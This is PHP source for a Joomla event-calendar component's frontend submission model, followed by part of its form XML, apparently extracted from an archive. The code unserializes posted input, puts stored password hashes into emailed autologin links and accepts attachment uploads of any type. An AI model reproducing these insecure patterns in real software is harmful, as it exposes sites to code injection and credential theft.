			$error_messages[] = JText::sprintf('COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED_NAME', JText::_('COM_ICAGENDA_SUBMIT_FORM_USER_EMAIL'));
		}


		// EVENT TITLE
		$this->data->title 				= JRequest::getVar('title', '', 'post');

		if ( ! $this->data->title)
		{
			$error_messages[] = JText::sprintf('COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED_NAME', JText::_('COM_ICAGENDA_FORM_LBL_EVENT_TITLE'));
		}


		// EVENT CATEGORY
		$this->data->catid 				= JRequest::getVar('catid', '', 'post');

		if ( ! $this->data->catid)
		{
			$error_messages[] = JText::sprintf('COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED_NAME', JText::_('COM_ICAGENDA_FORM_LBL_EVENT_CATID'));
		}


		// EVENT IMAGE - Get and Upload Image
		$image							= JRequest::getVar('image', null, 'files', 'array');
		$image_session					= JRequest::getVar('image_session', '', 'post');

		if ($image_session && empty($image))
		{
			$this->data->image = $image_session;
		}
		else
		{
			$this->data->image = $image;

			// Process upload of files
			$this->data->image = $this->frontendImageUpload($this->data->image);
		}

		$noDateTime			= '0000-00-00 00:00:00';
		$noDateTimeShort	= '0000-00-00 00:00';


		// Get Single Dates
		$single_dates 					= JRequest::getVar('dates', '', 'post');

//		$dates = iCString::isSerialized($single_dates) ? unserialize($single_dates) : $this->getDates($single_dates);
        if (iCString::isSerialized($single_dates))
		{
			$dates = unserialize($single_dates);
		}
		else
		{
			$dates = $this->getDates($single_dates);

			if ($lang->getTag() == 'fa-IR'
				&& $dates != array('0000-00-00 00:00')
				&& $dates != array('')
				)
			{
				$dates_to_sql = array();

				foreach ($dates AS $date)
				{
					if (iCDate::isDate($date))
					{
						$year		= date('Y', strtotime($date));
						$month		= date('m', strtotime($date));
						$day		= date('d', strtotime($date));
						$time		= date('H:i', strtotime($date));

						$converted_date = iCGlobalizeConvert::jalaliToGregorian($year, $month, $day, true) . ' ' . $time;
						$dates_to_sql[] = date('Y-m-d H:i', strtotime($converted_date));
					}
				}

				$dates = $dates_to_sql;
			}
		}

//		$dates = !empty($dates[0]) ? $dates : array($noDateTime);
		rsort($dates);

		$datesall = iCDate::isDate($dates[0]) ? $dates[0] : $noDateTimeShort;

		if ($datesall != $noDateTimeShort)
		{
			$this->data->dates 			= serialize($dates);
		}
		else
		{
			$no_date_array				= array($noDateTimeShort);
			$this->data->dates 			= serialize($no_date_array);
		}


		// Set Next Date from Single Dates
		$dates_array = unserialize($this->data->dates);

		$today	= JHtml::date('now', 'Y-m-d H:i:s', $eventTimeZone);
		$next	= JHtml::date($this->data->dates[0], 'Y-m-d H:i:s', $eventTimeZone);

		rsort($dates_array);

		$nextDate = $next;

		if ($next <= $today)
		{
			foreach ($dates_array as $date)
			{
				$single_date = JHtml::date($date, 'Y-m-d H:i:s', $eventTimeZone);

				if ($single_date >= $today)
				{
					$nextDate = $single_date;
				}
			}
		}

		$single_dates_next = $nextDate;


		// PERIOD DATES
		$this->data->startdate			= JRequest::getVar('startdate', '', 'post');
		$this->data->enddate			= JRequest::getVar('enddate', '', 'post');

		$isDate_startdate	= iCDate::isDate($this->data->startdate);
		$isDate_enddate		= iCDate::isDate($this->data->enddate);

		$this->data->startdate	= $isDate_startdate ? $this->data->startdate : $noDateTime;
		$this->data->enddate	= $isDate_enddate ? $this->data->enddate : $noDateTime;

		// Dates from the period
		if ($isDate_startdate && $isDate_enddate)
		{
			$startdate	= $this->data->startdate;
			$enddate	= $this->data->enddate;

			if ($startdate == $noDateTime
				&& $enddate != $noDateTime)
			{
				$enddate = $noDateTime;
			}

			$startcontrol	= JHtml::date($startdate, 'Y-m-d H:i', $eventTimeZone);
			$endcontrol		= JHtml::date($enddate, 'Y-m-d H:i', $eventTimeZone);

			$errorperiod = '';

			if ($startcontrol > $endcontrol)
			{
				$errorperiod = '1';
			}
			else
			{
				$period_all_dates_array	= iCDatePeriod::listDates($startdate, $enddate);
			}

			// Serialize Dates of the Period
			if ($isDate_startdate && $isDate_enddate)
			{
				if ($errorperiod != '1')
				{
					$this->data->period = serialize($period_all_dates_array);
					$ctrl = unserialize($this->data->period);

					if (is_array($ctrl))
					{
						$period = unserialize($this->data->period);
					}
					else
					{
						$period = $this->getPeriod($this->data->period);
					}

					if ($lang->getTag() == 'fa-IR')
					{
						$period_to_sql = array();

						foreach ($period AS $date)
						{
							if (iCDate::isDate($date))
							{
								$year		= date('Y', strtotime($date));
								$month		= date('m', strtotime($date));
								$day		= date('d', strtotime($date));
								$time		= date('H:i', strtotime($date));

								$converted_date = iCGlobalizeConvert::jalaliToGregorian($year, $month, $day, true) . ' ' . $time;
								$period_to_sql[] = date('Y-m-d H:i', strtotime($converted_date));
							}
						}

						$period = $period_to_sql;
					}

					rsort($period);

					$this->data->period = serialize($period);
				}
				else
				{
					$this->data->period = '';
				}
			}

			$period_dates_next = $this->data->startdate;

			$dates_next		= JHtml::date($single_dates_next, 'Y-m-d H:i:s', $eventTimeZone);
			$period_next	= JHtml::date($period_dates_next, 'Y-m-d H:i:s', $eventTimeZone);

			if ($dates_next < $period_next)
			{
				$this->data->next = $period_next;
			}
			else
			{
				$this->data->next = $dates_next;
			}
		}
		else
		{
			$this->data->period	= '';
			$this->data->next	= $single_dates_next;
		}

		// Period and Single Dates not displayed
		if ( (in_array($noDateTime, $dates_array) || in_array($noDateTimeShort, $dates_array))
			&& ( ! $isDate_startdate || ! $isDate_enddate) )
		{
			$this->data->state	= '0';
			$this->data->next	= $today;

			// Error message if no valid dates
			$error_messages[] = JText::sprintf('COM_ICAGENDA_FORM_WARNING', JText::_('COM_ICAGENDA_FORM_ERROR_NO_DATES'));
		}


		// WEEK DAYS
		$this->data->weekdays 			= JRequest::getVar('weekdays', '', 'post');

		if (!isset($this->data->weekdays)
			&& !is_array($this->data->weekdays))
		{
			$this->data->weekdays = '';
		}

		if (isset($this->data->weekdays)
			&& is_array($this->data->weekdays))
		{
			$this->data->weekdays = implode(",", $this->data->weekdays);
		}

		// Joomla 3.x/2.5 SWITCH
		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$this->data->desc 			= JFactory::getApplication()->input->get('desc', '', 'RAW');
		}
		else
		{
			$this->data->desc 			= JRequest::getVar('desc', '', 'post', 'string', JREQUEST_ALLOWHTML);
		}

		$this->data->shortdesc 			= JRequest::getVar('shortdesc', '', 'post');
		$this->data->metadesc 			= JRequest::getVar('metadesc', '', 'post');
		$this->data->place 				= JRequest::getVar('place', '', 'post');
		$this->data->email 				= JRequest::getVar('email', '', 'post');
		$this->data->phone 				= JRequest::getVar('phone', '', 'post');
		$this->data->website 			= JRequest::getVar('website', '', 'post');

		// ATTACHMENT FILE
		$file							= JRequest::getVar('file', null, 'files', 'array');
		$file_session					= JRequest::getVar('file_session', '', 'post');

		if ($file_session && empty($file))
		{
			$this->data->file = $file_session;
		}
		else
		{
			$this->data->file = $file;

			// Process upload of files
			$this->data->file = $this->frontendFileUpload($this->data->file);
		}



		$this->data->address 			= JRequest::getVar('address', '', 'post');
		$this->data->city 				= JRequest::getVar('city', '', 'post');
		$this->data->country 			= JRequest::getVar('country', '', 'post');
		$this->data->lat 				= JRequest::getVar('lat', '', 'post');
		$this->data->lng 				= JRequest::getVar('lng', '', 'post');

		$this->data->created_by			= $user_id;
		$this->data->created_by_alias	= JRequest::getVar('created_by_alias', '', 'post');
		$this->data->created			= JHtml::Date( 'now', 'Y-m-d H:i:s' );
		$this->data->checked_out		= JRequest::getVar('checked_out', '', 'post');
		$this->data->checked_out_time 	= JRequest::getVar('checked_out_time', '', 'post');

		$this->data->params				= JRequest::getVar('params', '', 'post');
		$this->data->site_itemid		= JRequest::getVar('site_itemid', '0', 'post');
		$site_menu_title				= JRequest::getVar('site_menu_title', '', 'post');


		// Generate Alias
		$this->data->alias				= JFilterOutput::stringURLSafe($this->data->title);

		// Alias is not generated if non-latin characters, so we fix it by using created date, or title if unicode is activated, as alias
		if ($this->data->alias == null)
		{
			if (JFactory::getConfig()->get('unicodeslugs') == 1)
			{
				$this->data->alias = JFilterOutput::stringURLUnicodeSlug($this->data->title);
			}
			else
			{
				$this->data->alias = JFilterOutput::stringURLSafe($this->data->created);
			}
		}

		// Convert the params field to a string.
		if ( isset($this->data->params)
			&& is_array($this->data->params) )
		{
			$parameter = new JRegistry;
			$parameter->loadArray($this->data->params);
			$this->data->params = (string)$parameter;
		}

		$this->data->asset_id = null;

		$custom_fields		= JRequest::getVar('custom_fields', '', 'post');

		// Check if Custom Fields required not empty
		$customfields_list = icagendaCustomfields::getListCustomFields(2, 1);

		if ($customfields_list)
		{
			foreach ($customfields_list AS $cf)
			{
				if (isset($custom_fields[$cf->cf_slug])
					&& $cf->cf_required == 1
					&& $custom_fields[$cf->cf_slug] == '')
				{

					$options_required = array('list', 'radio');

					// If type is list or radio, should have options
					if ((in_array($cf->cf_type, $options_required) && $cf->cf_options)
						|| ! in_array($cf->cf_type, $options_required))
					{
						$error_messages[] = JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED' ) . ' ' . $cf->cf_title;
					}
				}
			}
		}

		$address_session	= JRequest::getVar('address_session', '', 'post');
		$submit_tos			= JRequest::getVar('submit_tos', '', 'post');

		// Set Form Data to Session
		$session->set('ic_submit', $this->data);
		$session->set('custom_fields', $custom_fields);

		$session->set('ic_submit_dates', $this->data->dates);
		$session->set('ic_submit_catid', $this->data->catid);
		$session->set('ic_submit_shortdesc', $this->data->shortdesc);
		$session->set('ic_submit_metadesc', $this->data->metadesc);
		$session->set('ic_submit_city', $this->data->city);
		$session->set('ic_submit_country', $this->data->country);
		$session->set('ic_submit_lat', $this->data->lat);
		$session->set('ic_submit_lng', $this->data->lng);
		$session->set('ic_submit_address', $this->data->address);
		$session->set('ic_submit_tos', $submit_tos);

		// Captcha Control
		$captcha			= JRequest::getVar('recaptcha_response_field', '', 'post');
		$captcha_plugin		= $params->get('captcha') ? $params->get('captcha') : $app->getCfg('captcha');
		$submit_captcha		= $params->get('submit_captcha', 1);

		if ($captcha_plugin && $submit_captcha != '0')
		{
			JPluginHelper::importPlugin('captcha');

			// JOOMLA 3.x/2.5 SWITCH
			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$dispatcher = JEventDispatcher::getInstance();
			}
			else
			{
				$dispatcher = JDispatcher::getInstance();
			}

			$res = $dispatcher->trigger('onCheckAnswer', $captcha);

			if (!$res[0])
			{
				// message if captcha is invalid
				$error_messages[] = JText::sprintf('COM_ICAGENDA_FORM_ERROR', JText::_('COM_ICAGENDA_FORM_ERROR_INCORRECT_CAPTCHA_SOL'));
			}
		}

		// Get the message queue
		if (count($error_messages))
		{
			$app->enqueueMessage('<strong>' . JText::_( 'COM_ICAGENDA_FORM_NC' ) . '</strong>', 'error');

			foreach ($error_messages AS $msg)
			{
				$app->enqueueMessage($msg, 'error');
			}

			return false;
		}

		// clear the data so we don't process it again
		$session->clear('ic_submit');
		$session->clear('custom_fields');
		$session->clear('ic_submit_dates');
		$session->clear('ic_submit_catid');
		$session->clear('ic_submit_shortdesc');
		$session->clear('ic_submit_metadesc');
		$session->clear('ic_submit_city');
		$session->clear('ic_submit_country');
		$session->clear('ic_submit_lat');
		$session->clear('ic_submit_lat');
		$session->clear('ic_submit_address');
		$session->clear('ic_submit_tos');

		// insert Event in Database
		$db = JFactory::getDbo();

		if (($this->data->username != NULL)
			&& ($this->data->title != NULL)
			&& ($this->data->created_by_email != NULL))
		{
			$db->insertObject('#__icagenda_events', $this->data, id);
		}
		else
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// Save Custom Fields to database
		if (isset($custom_fields) && is_array($custom_fields))
		{
			icagendaCustomfields::saveToData($custom_fields, $this->data->id, 2);
		}


		if ((isset($this->data->id)) AND ($this->data->id != '0') AND ($this->data->username != NULL) AND ($this->data->title != NULL))
		{
			self::notificationManagerEmail($this->data, $site_menu_title, $user_id);

			if ( !in_array($user_id, $adminUsersArray ))
			{
				self::notificationUserEmail($this->data, $urlsend);
			}
		}
		else
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// Redirect after successful submission
		if ($submit_return != 2)
		{
			$app->enqueueMessage($alert_body_redirect, $alert_title_redirect);
			$app->redirect(htmlspecialchars_decode($url_return));
		}
		else
		{
			$url_return = iCUrl::urlParsed($url_return, 'scheme');
			$app->redirect($url_return);
		}
	}


	protected function notificationManagerEmail($data, $site_menu_title, $user_id)
	{
		$event_id			= $data->id;
		$event_title		= $data->title;
		$event_site_itemid	= $data->site_itemid;
		$event_username		= $data->username;
		$event_user_email	= $data->created_by_email;
		$event_ref			= JHtml::date('now', 'Ymd') . $data->id;

		// Load iCagenda Global Options
		$iCparams = JComponentHelper::getParams('com_icagenda');

		// Load Joomla Application
		$app	= JFactory::getApplication();

		// Load Joomla Config Mail Options
		$sitename	= $app->getCfg('sitename');
		$mailfrom	= $app->getCfg('mailfrom');
		$fromname	= $app->getCfg('fromname');

		$siteURL = JURI::base();
		$siteURL = rtrim($siteURL,'/');

		// Itemid Request (automatic detection of the first iCagenda menu-link, by menuID, and depending of current language)
		$menu_items		= icagendaMenus::iClistMenuItems();
		$itemid_array	= array();

		foreach ($menu_items as $l)
		{
			array_push($itemid_array, $l->id);
		}

		sort($itemid_array);

		$itemID = $itemid_array[0];

		// Set Notification Email to each User groups allowed to approve event submitted
		$groupid = $iCparams->get('approvalGroups', array("8"));

		// Load Global Option for Autologin
		$autologin = $iCparams->get('auto_login', 1);

		jimport( 'joomla.access.access' );
		$adminUsersArray = array();

		foreach ($groupid AS $gp)
		{
			$adminUsers			= JAccess::getUsersByGroup($gp, False);
			$adminUsersArray	= array_merge($adminUsersArray, $adminUsers);
		}

        $db = JFactory::getDbo();
		$query = $db->getQuery(true);

		if ($user_id == NULL)
		{
			$user_id = 0;
		}

		if (!in_array($user_id, $adminUsersArray))
		{
			$matches = implode(',', $adminUsersArray);
			$query->select('ui.username AS username, ui.email AS email, ui.password AS passw, ui.block AS block, ui.activation AS activation')->from('#__users AS ui')->where( "ui.id IN ($matches) ");
		}
		else
		{
			$matches = $user_id;
			$query->select('ui.username AS username, ui.email AS email, ui.password AS passw, ui.block AS block, ui.activation AS activation')->from('#__users AS ui')->where( "ui.id = $matches ");
		}

		$db->setQuery($query);
        $managers = $db->loadObjectList();

        foreach ($managers AS $manager)
        {
			// Mail Replacements
			$replacements = array(
				"\\n"				=> "\n",
				'[SITENAME]'		=> $sitename,
				'[USERNAME]'		=> $event_username,
				'[EMAIL]'			=> $event_user_email,
				'[EVENT_TITLE]'		=> $event_title,
				'[EVENT_REF]'		=> $event_ref,
				'&nbsp;'			=> ' ',
			);

			if (!in_array($user_id, $adminUsersArray))
			{
				$type = 'approval';
			}
			else
			{
				$type = 'confirmation';
			}

			// Create Admin Mailer
			$adminmailer = JFactory::getMailer();

			// Set Sender of Notification Email
			$adminmailer->setSender(array( $mailfrom, $fromname ));

        	$username	= $manager->username;
        	$passw		= $manager->passw;
        	$email		= $manager->email;

			// Set Recipient of Notification Email
			$adminrecipient = $email;
			$adminmailer->addRecipient($adminrecipient);

			// Set Subject of Admin Notification Email
			if ( ! in_array($user_id, $adminUsersArray))
			{
				$adminsubject = JText::sprintf('COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_SUBJECT', $event_username, $sitename);
			}
			else
			{
				$adminsubject = JText::sprintf('COM_ICAGENDA_LEGEND_NEW_EVENT').': '.$event_title;
			}

			// Set Url to preview and checking of event submitted
			$baseURL = JURI::base();
			$subpathURL = JURI::base(true);

			$baseURL = str_replace('/administrator', '', $baseURL);
			$subpathURL = str_replace('/administrator', '', $subpathURL);

			if ($autologin == 1)
			{
				$urlpreview = str_replace('&amp;', '&', JRoute::_('index.php?option=com_icagenda&view=list&layout=event&id='.(int)$event_id.'&Itemid='.(int)$itemID.'&icu='.$username.'&icp='.$passw));
//				$urlcheck = str_replace('&amp;', '&', JRoute::_('administrator/index.php?option=com_icagenda&view=events&Itemid='.(int)$itemID).'&icu='.$username.'&icp='.$passw.'&filter_search='.$event_id);
			}
			else
			{
				$urlpreview = str_replace('&amp;', '&', JRoute::_('index.php?option=com_icagenda&view=list&layout=event&id='.(int)$event_id.'&Itemid='.(int)$itemID));
//				$urlcheck = str_replace('&amp;', '&', JRoute::_('administrator/index.php?option=com_icagenda&view=events&Itemid='.(int)$itemID).'&filter_search='.$event_id);
			}

//			$urlpreview = str_replace('&amp;', '&', $siteURL.'/index.php?option=com_icagenda&view=list&layout=event&id='.(int)$event_id.'&Itemid='.(int)$itemID.'&icu='.$username.'&icp='.$passw);
			$urlpreviewshort = str_replace('&amp;', '&', JRoute::_('index.php?option=com_icagenda&view=list&layout=event&id='.(int)$event_id.'&Itemid='.(int)$itemID));

//			$urlcheckshort = str_replace('&amp;', '&', $siteURL . '/administrator/index.php?option=com_icagenda&view=events');

			// Sub Path filtering
			$subpathURL = ltrim($subpathURL, '/');

			// URL Event Preview filtering
			$urlpreview			= ltrim($urlpreview, '/');
			$urlpreviewshort	= ltrim($urlpreviewshort, '/');

			if (substr($urlpreview, 0, strlen($subpathURL)+1) == "$subpathURL/")
			{
				$urlpreview = substr($urlpreview, strlen($subpathURL)+1);
			}

			if (substr($urlpreviewshort, 0, strlen($subpathURL)+1) == "$subpathURL/")
			{
				$urlpreviewshort = substr($urlpreviewshort, strlen($subpathURL)+1);
			}

			$urlpreview			= rtrim($baseURL, '/') . '/' . ltrim($urlpreview, '/');
			$urlpreviewshort	= rtrim($baseURL, '/') . '/' . ltrim($urlpreviewshort, '/');

			// URL Event Check filtering
//			$urlcheck = ltrim($urlcheck, '/');

//			if (substr($urlcheck, 0, strlen($subpathURL)+1) == "$subpathURL/")
//			{
//				$urlcheck = substr($urlcheck, strlen($subpathURL)+1);
//			}

//			$urlcheck = rtrim($baseURL, '/') . '/' . ltrim($urlcheck, '/');

			// Set Body of User Notification Email
			$adminbodycontent = JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_HELLO', $username) . ',<br /><br />';

			if ($type == 'approval')
			{
				$adminbodycontent.= JText::_( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_NEW_EVENT' ).'<br /><br />';
				$adminbodycontent.= JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_APPROVE_INFO', $sitename).'<br /><br />';
				$adminbodycontent.= JText::_( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_APPROVE_LINK' ).': <a href="'.$urlpreview.'">'.$urlpreviewshort.'</a><br /><br />';
			}

			if ($type == 'confirmation')
			{
				$adminbodycontent.= JText::_( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_APPROVED_REVIEW' ).'<br /><br />';
				$adminbodycontent.= '<a href="' . $urlpreview . '">' . $urlpreviewshort . '</a><br /><br />';
			}

			$user_email_mailto = '<a href="mailto:' . $event_user_email . '">' . $event_user_email . '</a>';

			$adminbodycontent.= JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_SITE_MENUID', $event_site_itemid, $site_menu_title).'<br />';
			$adminbodycontent.= JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_USER_INFO', $event_username, $user_email_mailto).'<br /><br />';

			if ($autologin == 1)
			{
				$adminbodycontent.= '<hr><small>'.JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_FOOTER', $sitename).'<small>';
			}
			else
			{
				$adminbodycontent.= '<hr><small>'.JText::sprintf( 'COM_ICAGENDA_SUBMISSION_ADMIN_EMAIL_FOOTER_NO_AUTOLOGIN', $sitename).'<small>';
			}

			$adminbody = rtrim($adminbodycontent);

			// Apply Replacements
			foreach ($replacements as $key => $value)
			{
				$adminsubject	= str_replace($key, $value, $adminsubject);
				$adminbody		= str_replace($key, $value, $adminbody);
			}

			$adminmailer->isHTML(true);
			$adminmailer->Encoding = 'base64';

			// Set Subject
			$adminmailer->setSubject($adminsubject);

			// Set Body
			$adminmailer->setBody($adminbody);

			// Send User Notification Email
			if (isset($email))
			{
				if ($manager->block == '0' && empty($manager->activation))
				{
					$send = $adminmailer->Send();
				}
			}
		}
	}

	protected function notificationUserEmail ($data, $url)
	{
		$email			= $data->created_by_email;
		$username		= $data->username;
		$event_title	= $data->title;
		$event_ref		= JHtml::date( 'now', 'Ymd' ) . $data->id;

		// Load Joomla Application
		$app	= JFactory::getApplication();

		// Create User Mailer
		$mailer = JFactory::getMailer();

		// Load Joomla Config Mail Options
		$sitename	= $app->getCfg('sitename');
		$mailfrom	= $app->getCfg('mailfrom');
		$fromname	= $app->getCfg('fromname');

		// Set Sender of Notification Email
		$mailer->setSender(array( $mailfrom, $fromname ));

		// Set Recipient of User Notification Email
		$userrecipient = $data->created_by_email;
		$mailer->addRecipient($userrecipient);

		// MAIL
		$replacements = array(
			"\\n"				=> "\n",
			'[SITENAME]'		=> $sitename,
			'[EMAIL]'			=> $email,
			'[EVENT_TITLE]'		=> $event_title,
			'[EVENT_REF]'		=> $event_ref,
			'&nbsp;'			=> ' ',
		);

		// Set Body of Notification Email
		$user_submit_body = JText::sprintf( 'COM_ICAGENDA_USER_EMAIL_HELLO', $username ) . ',<br /><br />';
		$user_submit_body.= JText::sprintf( 'COM_ICAGENDA_EVENT_SUBMISSION_THANK_YOU', $sitename ) . '<br />';
		$user_submit_body.= JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_EDITOR_REVIEW' ) . '<br />';
		$user_submit_body.= JText::_( 'COM_ICAGENDA_EVENT_SUBMISSION_CONFIRMATION_EMAIL' ) . '<br /><br />';
		$user_submit_body.= JText::sprintf( 'COM_ICAGENDA_USER_EMAIL_EVENT_TITLE_AND_REF_NO', $event_title, $event_ref ) . '<br /><br />';
		$user_submit_body.= JText::_( 'COM_ICAGENDA_USER_EMAIL_BEST_REGARDS' ) . '<br />';

		$user_submit_body = rtrim($user_submit_body);

		foreach ($replacements as $key => $value)
		{
			$subject = str_replace($key, $value, $subject);
			$user_submit_body = str_replace($key, $value, $user_submit_body);
		}

		$mailer->isHTML(true);
		$mailer->Encoding = 'base64';

		// Set Subject of User Notification Email
		$subject = JText::sprintf( 'COM_ICAGENDA_EVENT_SUBMISSION_THANK_YOU', $sitename );
		$mailer->setSubject($subject);

		// Set Body of User Notification Email
		$mailer->setBody($user_submit_body);

		// Send User Notification Email
		if (isset($email))
		{
			$send = $mailer->Send();
		}
	}


	protected function getDates($dates)
	{
		$dates		= str_replace('d=', '', $dates);
		$dates		= str_replace('+', ' ', $dates);
		$dates		= str_replace('%3A', ':', $dates);
		$ex_dates	= explode('&', $dates);

		return $ex_dates;
	}

	protected function getPeriod($period)
	{
		$period		= str_replace('d=', '', $period);
		$period		= str_replace('+', ' ', $period);
		$period		= str_replace('%3A', ':', $period);
		$ex_period	= explode('&', $period);

		return $ex_period;
	}


	protected function frontendImageUpload ($image)
	{
		// Get Joomla Images PATH set
		$params		= JComponentHelper::getParams('com_media');
		$image_path	= $params->get('image_path');

		// Clean up filename
		$imagename	= JFile::makeSafe($image['name']);

		// Process filename
		while (JFile::exists(JPATH_ROOT . '/' . $image_path . '/icagenda/frontend/images/' . $imagename))
		{
			$src	= $image['tmp_name'];

			// Get Image title and extension type
			$decomposition = explode( '/' , $imagename );

			// in each parent
			$i = 0;
			while ( isset($decomposition[$i]) )
				$i++;
			$i--;
			$imgname		= $decomposition[$i];
			$fichier		= explode('.', $decomposition[$i]);
			$imgtitle		= $fichier[0];
			$imgextension	= isset($fichier[1]) ? $fichier[1] : '';

			// Increment filename if already exists
			$imagename		= iCString::increment($imgtitle, 'dash') . '.' . $imgextension;

			// Controls image mimetype, and fixes file extension if missing in filename
			$allowed_mimetypes	= array('jpg', 'jpeg', 'png', 'gif');

			if ( ! in_array($imgextension, $allowed_mimetypes))
			{
				$fileinfos		= getimagesize($src);
				$mimeType		= $fileinfos['mime'];
				$ex_mimeType	= explode('/', $mimeType);
				$file_extension	= $ex_mimeType[1];

				$imagename		= $imagename . '.' . $file_extension;
			}
		}

		if ($imagename != '')
		{
			//Set up the source and destination of the file
			$src	= $image['tmp_name'];
			$dest	=  JPATH_SITE . '/images/icagenda/frontend/images/' . $imagename;

			// Create Folder iCagenda in ROOT/IMAGES_PATH/icagenda and sub-folders if do not exist
			$folder[0][0]	=	'icagenda/frontend/' ;
			$folder[0][1]	= 	JPATH_ROOT . '/' . $image_path . '/' . $folder[0][0];
			$folder[1][0]	=	'icagenda/frontend/images/';
			$folder[1][1]	= 	JPATH_ROOT . '/' . $image_path . '/' . $folder[1][0];
			$error	 = array();

			foreach ($folder as $key => $value)
			{
				if (!JFolder::exists( $value[1]))
				{
					if (JFolder::create( $value[1], 0755 ))
					{
						$this->data = "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>";
						JFile::write($value[1]."/index.html", $this->data);
						$error[] = 0;
					}
					else
					{
						$error[] = 1;
					}
				}
				else //Folder exist
				{
					$error[] = 0;
				}
			}

			if ( JFile::upload($src, $dest, false) )
			{
				return 'images/icagenda/frontend/images/' . $imagename;
			}
		}
	}

	protected function frontendFileUpload ($file)
	{
		//Clean up filename to get rid of strange characters like spaces etc
		$filename = JFile::makeSafe($file['name']);

		if ($filename != '')
		{
			//Set up the source and destination of the file
			$src = $file['tmp_name'];
			$dest =  JPATH_SITE.'/images/icagenda/frontend/attachments/'.$filename;

			// Get Joomla Images PATH setting
			$params = JComponentHelper::getParams('com_media');
			$image_path = $params->get('image_path');

			// Create Folder iCagenda in ROOT/IMAGES_PATH/icagenda and sub-folders if do not exist
			$folder[0][0]	=	'icagenda/frontend/' ;
			$folder[0][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[0][0];
			$folder[1][0]	=	'icagenda/frontend/attachments/';
			$folder[1][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[1][0];
			$error	 = array();

			foreach ($folder as $key => $value)
			{
				if (!JFolder::exists( $value[1]))
				{
					if (JFolder::create( $value[1], 0755 ))
					{
						$this->data = "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>";
						JFile::write($value[1]."/index.html", $this->data);
						$error[] = 0;
					}
					else
					{
						$error[] = 1;
					}
				}
				else //Folder exist
				{
					$error[] = 0;
				}
			}

			if ( JFile::upload($src, $dest, false) )
			{
				return 'images/icagenda/frontend/attachments/' . $filename;
			}

		}
	}


	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since   1.6
	 *
	 * @return void
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('site');

		// Load the parameters.
		$params = $app->getParams();
		$this->setState('params', $params);
	}
}
com_icagenda/models/forms/index.html000060400000000032152453734450013546 0ustar00<html><body></body></html>com_icagenda/models/forms/submit.xml000060400000025210152453734450013603 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_icagenda/models/fields" >
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			size="10"
			default="0"
			readonly="true"
			labelclass="control-label"
			/>
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
			/>
		<field
			name="title"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_TITLE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_TITLE"
			class="input-xxlarge"
			size="30"
			required="true"
			labelclass="control-label"
			/>
		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			labelclass="control-label"
			/>
		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="COM_ICAGENDA_ACCESS_DESC"
			class="span12 small"
			size="1"
			/>
		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_ICAGENDA_FORM_DESC_LANGUAGE"
			class="span12 small"
			>
			<option value="*">JALL</option>
		</field>
		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			description="JGLOBAL_FIELD_CREATED_DESC"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			labelclass="control-label"
			/>
		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
			labelclass="control-label"
			/>
		<field
			name="created_by_alias"
			type="text"
			label="JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC"
			labelclass="control-label"
			/>
		<field
			name="username"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_USERNAME"
			description="COM_ICAGENDA_FORM_DESC_EVENT_USERNAME"
			size="40"
			required="true"
			class="inputbox"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			description="COM_CONTENT_FIELD_MODIFIED_DESC"
			class="readonly"
			size="22"
			readonly="true"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			labelclass="control-label"
			/>
		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			class="readonly"
			readonly="true"
			filter="unset"
			labelclass="control-label"
			/>
